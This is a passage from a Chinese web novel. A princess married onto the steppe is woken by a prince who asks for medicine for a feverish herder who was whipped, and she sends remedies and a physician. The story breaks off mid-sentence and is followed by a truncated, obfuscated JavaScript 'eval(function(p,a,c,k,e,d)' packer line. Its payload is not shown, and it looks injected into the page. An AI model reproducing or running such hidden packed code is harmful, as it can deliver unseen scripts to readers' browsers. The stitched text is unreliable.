“你不是要看马吗,我们走吧。”穆初晓打断道,看向李乐栖那边,带有歉意:“公主,我晚些再来帮忙。”
“好。”李乐栖温和回应,目送他们两人离开。
若是身处皇宫,这番无意听到的话都得在脑子里转好几遍,是真的无意还是有心谈及,是否有陷阱……
需要思索太多,而在这里反倒变得简单了。
罕那错是可汗手底下大将家的小儿子,看似胸无大志,整日在王帐附近无事可做,实则这个家族的人分布在各个王子身边。
也不知他和穆初晓交好是趋于什么目的,最后不要弄得反目成仇才好。
新婚之后,除去婚帐那夜在外人眼里他们是待在一处,随即就睡在各自帐篷。
草原天黑得晚些,李乐栖趁着天光还在看完手里的游记,被伺候洗漱,盖着被阳光晒过的被子入眠。
这夜本该一觉到天明,她睡得迷迷糊糊之际传来吵闹声,还是熟悉的声音。
既被吵醒,没有了睡意。
李乐栖起身拿过衣架上的外袍,又披上披风,这才对外喊道:“让他进来。”
穆初晓一脸焦急进帐,想要说的话在见到那张神情淡漠的脸时,变成极简的语气:“公主带来的药,是否能给我一些?”
被突然吵醒,李乐栖神色淡淡,再听到这没头没尾的话,更添几分不耐烦,用气音“嗯”了声。
在旁跟随的云影上前,快速解释道:“是那位受鞭刑的牧民高热不退,王子才来此地求药。”
原来在帐外吵的是这个。
李乐栖怏怏道:“派人送过伤药,没有好转的话,就让太医前去查看。”
“至于其他,本宫爱莫能助。”她憋着那股要打出的哈欠,转过身,以背影拒绝再谈。
“多谢公主。”穆初晓应道,随即也不用催促就转身离走。
这次吵闹,李乐栖未曾放在心上,然而这夜依旧难眠,临近天亮才囫囵睡去。
到了时辰起床洗漱,她记忆才像复苏,缓缓道:“那人…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--